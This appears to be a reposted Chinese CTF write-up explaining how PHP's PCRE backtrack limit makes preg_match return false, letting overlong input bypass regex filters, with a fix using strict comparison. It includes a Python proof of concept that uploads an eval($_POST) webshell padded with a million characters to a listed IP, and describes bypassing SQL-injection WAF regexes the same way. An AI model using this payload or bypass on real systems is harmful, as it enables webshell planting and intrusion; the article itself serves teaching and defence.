内容简介:这次Code-Breaking Puzzles中我出了一道看似很简单的题目大意是判断一下用户输入的内容有没有PHP代码,如果没有,则写入文件。这种时候,如何绕过这道题看似简单,深究其原理,还是值得写一篇文章的。
这次Code-Breaking Puzzles中我出了一道看似很简单的题目 pcrewaf ,将其代码简化如下:
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(!is_php($input)) { // fwrite($f, $input); ... }
大意是判断一下用户输入的内容有没有 PHP 代码,如果没有,则写入文件。这种时候,如何绕过 is_php()
函数来写入webshell呢?
这道题看似简单,深究其原理,还是值得写一篇文章的。
0x01 正则表达式是什么
正则表达式是一个可以被“有限状态自动机”接受的语言类。
“有限状态自动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
- DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
- NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。
0x02 回溯的过程是怎样的
所以,我们题目中的正则 <\?.*[(`;?>].*
,假设匹配的输入是 <?php phpinfo();//aaaaa
,实际执行流程是这样的:
见上图,可见第4步的时候,因为第一个 .*
可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa
。但此时显然是不对的,因为正则显示 .*
后面还应该有一个字符 [(`;?>]
。
所以NFA就开始回溯,先吐出一个 a
,输入变成第5步显示的 //aaaa
,但仍然匹配不上正则,继续吐出 a
,变成 //aaa
,仍然匹配不上……
最终直到吐出 ;
,输入变成第12步显示的 <?php phpinfo()
,此时, .*
匹配的是 php phpinfo()
,而后面的 ;
则匹配上 [(`;?>]
,这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配 ;
,14步匹配 .*
,第二个 .*
匹配到了字符串末尾,最后结束匹配。
在调试正则表达式的时候,我们可以查看当前回溯的次数:
这里回溯了8次。
0x03 PHP的 pcre.backtrack_limit
限制利用
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限 pcre.backtrack_limit
。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));
的方式查看当前环境下的上限:
这里有个有趣的事情,就是PHP文档中,中英文版本的数值是不一样的:
我们应该以英文版为参考。
可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?比如:
可见, preg_match
返回的非1和0,而是false。
preg_match
函数返回false表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);
,发现失败的原因的确是回溯次数超出了限制:
所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
对应的POC如下:
import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers)
0x04 PCRE另一种错误的用法
延伸一下,很多基于PHP的WAF,如:
<?php if(preg_match('/SELECT.+FROM.+/is', $input)) { die('SQL Injection'); }
均存在上述问题,通过大量回溯可以进行绕过。
另外,我遇到更常见的一种WAF是:
<?php if(preg_match('/UNION.+?SELECT/is', $input)) { die('SQL Injection'); }
这里涉及到了正则表达式的“非贪婪模式”。在NFA中,如果我输入 UNION/*aaaaa*/SELECT
,这个正则表达式执行流程如下:
-
.+?
匹配到/
- 因为非贪婪模式,所以
.+?
停止匹配,而由F
匹配*
-
F
匹配*
失败,回溯,再由.+?
匹配*
- 因为非贪婪模式,所以
.+?
停止匹配,而由F
匹配a
-
F
匹配a
失败,回溯,再由.+?
匹配a
- ...
回溯次数随着a的数量增加而增加。所以,我们仍然可以通过发送大量a,来使回溯次数超出 pcre.backtrack_limit
限制,进而绕过WAF:
那么,如何修复这个问题呢?
其实如果我们仔细观察PHP文档,是可以看到 preg_match
函数下面的警告的:
如果用 preg_match
对字符串进行匹配,一定要使用 ===
全等号来判断返回值,如:
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(is_php($input) === 0) { // fwrite($f, $input); ... }
这样,即使正则执行失败返回false,也不会进入if语句。
以上所述就是小编给大家介绍的《PHP利用PCRE回溯次数绕过某些安全限制》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- PHP利用PCRE回溯次数限制绕过某些安全限制
- 回溯算法讲解--适用于leetcode绝大多数回溯题目
- 常用算法之回溯法
- leetcode题解(递归和回溯法)
- 精读《手写 SQL 编译器 - 回溯》
- Linux内核的栈回溯与妙用
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
算法分析导论(第2版)(英文版)
[美]Robert Sedgewick(罗伯特•塞奇威克)、[美]Philippe Flajolet(菲利普•弗拉若莱) / 电子工业出版社 / 2015-6 / 128.00元
《算法分析导论(第2版)(英文版)》全面介绍了算法的数学分析中所涉及的主要技术。涵盖的内容来自经典的数学课题(包括离散数学、初等实分析、组合数学),以及经典的计算机科学课题(包括算法和数据结构)。《算法分析导论(第2版)(英文版)》的重点是“平均情况”或“概率性”分析,书中也论述了“最差情况”或“复杂性”分析所需的基本数学工具。 《算法分析导论(第2版)(英文版)》第 1 版为行业内的经典著......一起来看看 《算法分析导论(第2版)(英文版)》 这本书的介绍吧!